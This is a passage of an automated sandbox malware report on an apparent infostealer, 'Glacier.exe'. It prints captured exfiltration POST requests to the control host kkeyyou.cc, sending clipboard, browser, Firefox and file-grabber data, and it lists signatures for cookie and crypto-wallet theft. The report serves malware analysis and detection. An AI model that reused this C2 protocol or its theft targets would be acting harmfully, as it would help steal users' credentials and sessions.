kkeyyou.cc" Contains base64 string in header "Type" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: kkeyyou.cc" Contains base64 string in header "CryptoAPI/10" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: kkeyyou.cc" Contains base64 string in header "HWID" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: kkeyyou.cc" Contains base64 string in header "Gate" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: clipboardX-Chunk-Index: 2X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 182Host: kkeyyou.cc" Contains base64 string in header "POST" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base64 string in header "Keep" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base64 string in header "AliveContent" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base64 string in header "Type" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base64 string in header "CryptoAPI/10" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base64 string in header "HWID" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base64 string in header "Gate" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base64 string in header "4230Host" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsersX-Chunk-Index: 3X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 4230Host: kkeyyou.cc" Contains base64 string in header "POST" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base64 string in header "Keep" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base64 string in header "AliveContent" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base64 string in header "Type" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base64 string in header "CryptoAPI/10" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base64 string in header "HWID" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base64 string in header "firefoxX" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base64 string in header "Gate" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: firefoxX-Chunk-Index: 4X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 337Host: kkeyyou.cc" Contains base64 string in header "POST" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base64 string in header "Keep" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base64 string in header "AliveContent" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base64 string in header "Type" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base64 string in header "CryptoAPI/10" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base64 string in header "HWID" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base64 string in header "Gate" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: filegraberX-Chunk-Index: 5X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 333Host: kkeyyou.cc" Contains base64 string in header "POST" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "Keep" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "AliveContent" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "Type" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "CryptoAPI/10" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "HWID" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "browsers" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "aggX" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "Gate" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "1657Host" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base64 string in header "POST" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc" Contains base64 string in header "Keep" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc" Contains base64 string in header "AliveContent" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc" Contains base64 string in header "Type" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc" Contains base64 string in header "CryptoAPI/10" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc" Contains base64 string in header "HWID" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc" Contains base64 string in header "Gate" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc"30:T5c3,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains reference to crypto DLLs Matched sigs: Tries to steal crypto wallet extension (string) Matched sigs: Able to access crypto wallet extension (string) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match – cryptographic algorithms31:T106f,Found XOR loop in file "sample.bin" at offset 87376; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3192812; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3364569; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3364610; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3457986; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4964364; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5613432; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8559270; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3970793; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5019369; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 174166; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 263407; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 334246; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 389385; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 814592; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 820042; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 830994; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1150823; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1318847; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1321503; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1336415; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1338623; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1352543; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3089472; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3094943; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3110847; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3151775; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3339160; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3344495; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3361974; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3372623; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3378447; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3395535; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3403215; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3928838; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4560543; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4571423; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4583263; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4588831; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4624970; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4632543; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4645359; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4667642; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4715407; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4918767; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4918807; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4919007; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5121631; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5179167; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5189834; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5192767; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8279256; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8334104; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8533962; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8621748; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8622558; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8627239; code bytes = 803032:T635,file/memory contains long string with (Indicator: "moz_cookies"; File: "akg_ff_362d9747.tmp") Found string "Browser/Cookies/%s_Cookies.txt" (Indicator: "/cookies"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "%s\cookies.sqlite" (Indicator: "cookies.sqlite"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "moz_cookies" (Indicator: "moz_cookies"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "Games/Roblox/cookies.txt" (Indicator: "/cookies"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "AISessions/%s/Cookies.txt" (Indicator: "/cookies"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "AISessions/ChatGPT/Cookies.txt" (Indicator: "/cookies"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp")33:T497,Found system information discovery API: "GetEnvironmentStringsW" in file "Glacier.exe" Found system information discovery API: "GetSystemInfo" in file "Glacier.exe" Found system information discovery API: "GetEnvironmentStrings (in long string)" in file "Glacier.exe" Found system information discovery API: "ExpandEnvironmentStrings (in long string)" in file "Glacier.exe" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00001176.00000001.167729.6E527000.00000002.mdmp" Found system information discovery API: "GetMonitorInfoW" in "00000000-00001176.00000001.167729.6E527000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00001176.00000001.167729.6E744000.00000002.mdmp" Found system information discovery API: "PR_GetSystemInfo" in "00000000-00001176.00000001.167729.6E744000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStrings" in "00000000-00001176.00000001.167729.6E744000.00000002.mdmp"34:T13b6,"Glacier.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000000007b6efb7f0000403352742702000008eb3facc7000000060000000000000031e44ba5fb7f000000000000000000000000000000000000e0e83facc7000000000000000000000030e83facc700000010145ca5fb7f0000000000000000000090135ca5fb7f0000080000000000000000000000000000000000000000000000b2af846efb7f0000000000000000000010017b6efb7f000030ea3facc70000006845527427020000204552742702000010dd5174270200000100000000000000e8c34ba5fb7f00001100000000000000f01c5274270200000000000000000000f3854ba5fb7f0000da014eacc7000000000000000000000011e5a76a (UID: 00000000-00001176) "Glacier.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001176) "Glacier.exe" called "RtlGetVersion" with parameter 240100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001176) "Glacier.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001176) "Glacier.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000697479223a2253616e746120436c617261222c22697370223a225a61796f2042616e647769647468222c227175657279223a2236342e3132342e31322e313632227d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001176) "Glacier.exe" called "RtlGetVersion" with parameter 